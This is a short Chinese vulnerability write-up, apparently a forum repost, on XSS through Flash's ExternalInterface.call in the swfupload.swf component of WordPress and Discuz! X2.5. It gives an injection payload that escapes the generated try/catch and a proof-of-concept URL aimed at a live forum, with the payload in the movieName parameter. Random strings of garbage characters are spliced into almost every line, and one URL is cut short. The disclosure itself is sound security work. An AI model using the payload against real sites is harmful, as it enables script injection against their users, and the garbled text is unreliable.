上回我们说
, U8 y; J: [' e8 U R4 `6 z3 V. W
2 \5 A% j& D9 C# d( l9 c6 Yflash.external.ExternalInterface.call($methodName, $parameter)! Q- b& W7 p& z9 j) y- y
在浏览器中执行的是/ f. T+ p, n2 y/ y! j
1 L9 c! s2 [1 _# A G; f4 V- Ytry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}6 u9 G; l3 R) c5 i
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如7 I' ]6 b) |: d0 m; i Z: i
& {$ F7 N5 v$ T( S3 Zflash.external.ExternalInterface.call("object."+$methodName, $parameter)8 Y/ Q" t) E, G& O8 E+ |
$methodName = a())}catch(e){alert(/xss/)}//
5 J) b! ^9 w# ~( |$ b% R/ N7 o结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! ~9 a- r/ l1 l: F. f3 v) M; }8 t) n. ?0 K% N4 ]
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }# V# M+ W3 H$ l+ R7 P) P& P
+ U+ M7 C* J/ @% _$ O( d这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ); c9 O& a6 U! i* B0 e+ c! [
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。% L! q0 W6 b% ?- c4 Z, T
/ Z) H V7 F2 ~ {* `+ O0 T: T9 i
% P; ]2 H1 V5 F" L
* u; t" Z8 j2 B( k漏洞文件:upload\static\image\common\swfupload.swf
/ b3 r; J7 N" t. y# d0 \) d1 {! d1 T! L' s+ h" W) R
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
' g, O& O- K; U% o$ ~4 r8 e2 d- R- T# k- n) }& _
: p( B& Z+ O ?$ U9 K
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//$ d6 ^) Z% r) F$ {
: k" c) l! ^9 A3 d- c- S; A
. s! c% s' T& c- G* z' o. [ |